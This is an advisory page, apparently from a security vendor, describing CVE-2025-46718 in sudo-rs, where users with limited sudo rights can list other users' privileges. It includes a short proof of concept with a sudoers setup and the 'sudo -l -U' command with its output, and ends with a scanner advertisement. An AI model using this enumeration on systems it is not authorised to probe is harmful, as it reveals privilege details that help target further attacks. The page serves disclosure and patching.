🛡️ CVE-2025-46718 — sudo
Description
sudo-rs Allows Low Privilege Users to Enumerate Privileges of Others
Summary
Users with limited sudo privileges (e.g. execution of a single command) can list sudo privileges of other users using the -U flag. This doesn't happen with the original sudo.
PoC
The initial test has been done in a container running Ubuntu 24.04 and installing [oxidizr](https://github.com/jnsgruk/oxidizr), running sudo-rs 0.2.2.
A user (bob) has been added with only ps command executable through sudo:
```
root ALL=(ALL:ALL) ALL
bob ALL=(ALL:ALL) /usr/bin/ps
```
The user is not able to read the /etc/sudoers file and running sudo -l -Uroot with original sudo (version 1.9.15p5) causes the following error:
```
Sorry, user bob is not allowed to execute 'list' as root on 43d4aed3cdbd.
```
The same command with sudo-rs is run without denying the execution:
```
User root may run the following commands on 43d4aed3cdbd:
(ALL : ALL) ALL
```
The same happens for other non-root users:
```
bob@43d4aed3cdbd:~$ sudo -l -Ufoo
User foo may run the following commands on 43d4aed3cdbd:
(ALL : ALL) /usr/bin/whoami
```
The behavior has been also been observed for version 0.2.5.
Impact
Users with limited sudo privileges can enumerate the sudoers file, revealing sensitive information about other users' permissions. Attackers can collect information that can be used to more targeted attacks.
Systems where users either do not have sudo privileges or have the ability to run all commands as root through sudo (the default configuration on most systems) are not affected by this advisory.
Credits
This issue was identified by [Sonia Zorba](https://www.zonia3000.net/).
How this vulnerability can be exploited
This issue can be reached with local access to the system, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality low, integrity none, availability none.
Weakness class
CVE-2025-46718 is classified as CWE-497: Exposure of System Data to Unauthorized Control Sphere. Internal system details are revealed to callers who should not have them.
Affected software
CVE-2025-46718 is recorded against 2 packages.
- sudo (fixed in 0.2.6)
- sudo-rs
Timeline and source
Published on 12 May 2025 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from NVD.
References
CVE-2025-46718 on other distributions
Each distribution ships its own build and its own fixed version. Pick the one you run:
Details
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| sudo | — | 0.2.6 |
| sudo-rs | — | — |
References
Similar Threats
- Unknown ALSA-2026:19067
- Unknown ALSA-2026:19220
- Unknown ALSA-2026:12310
- Unknown ALSA-2026:11521
- Unknown ALSA-2026:10758
More CVE 2025 advisories
Browse all of CVE 2025 in the advisory index.
Exploit Protection
Are you running sudo?
CVE-2025-46718 carries CVSS 3.3 Low rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2025-46718 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.